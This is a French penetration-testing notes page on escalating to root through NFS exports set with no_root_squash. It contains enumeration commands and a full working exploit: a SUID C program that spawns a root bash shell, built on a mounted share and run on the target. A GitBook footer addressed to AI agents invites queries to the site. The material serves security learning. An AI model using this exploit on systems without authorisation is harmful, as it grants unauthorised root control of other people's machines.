> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/nfs-shares.md).

# Partages NFS

Notes sur l'élévation de privilèges via les partages NFS pour no\_root\_squash, les partages exportés inscriptibles, les systèmes de fichiers montés par l'attaquant et la validation des payloads SUID.

Des exports NFS mal configurés peuvent permettre une élévation locale de privilèges lorsqu’un partage inscriptible est exporté avec des options dangereuses telles que `no_root_squash`. Dans ce cas, root sur la machine attaquante peut créer des fichiers sur le partage qui conservent la propriété root lorsqu’ils sont consultés depuis la cible.

## Méthodologie

* Énumérez les exports NFS depuis la cible et la machine attaquante.
* Recherchez les partages inscriptibles et les options d’export dangereuses telles que `no_root_squash` ou `no_all_squash`.
* Montez le partage depuis une machine attaquante et créez la plus petite preuve de concept SUID nécessaire pour valider l’impact.

## Vérifications rapides

Sur la cible :

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

Depuis une machine attaquante :

```bash
showmount -e target_ip
```

## Options d’export dangereuses

| Option                   | Risque                                                                                             |
| ------------------------ | -------------------------------------------------------------------------------------------------- |
| `no_root_squash`         | Le root distant peut conserver la propriété root sur les fichiers créés à l’intérieur de l’export. |
| `rw`                     | Autorise l’écriture dans le partage exporté.                                                       |
| `no_all_squash`          | Les utilisateurs peuvent conserver leur mappage UID/GID d’origine.                                 |
| Plages de clients larges | Davantage d’hôtes peuvent monter et interagir avec l’export.                                       |

## Schéma d’exploitation

Sur la machine attaquante :

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

Sur la cible :

```bash
/shared/folder/privesc
```

## Notes de validation

```bash
ls -la /shared/folder/privesc
id
```

Si le binaire n’est pas détenu par root ou si le bit SUID ne persiste pas, l’export est probablement en train d’écraser root ou monté avec des options restrictives.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
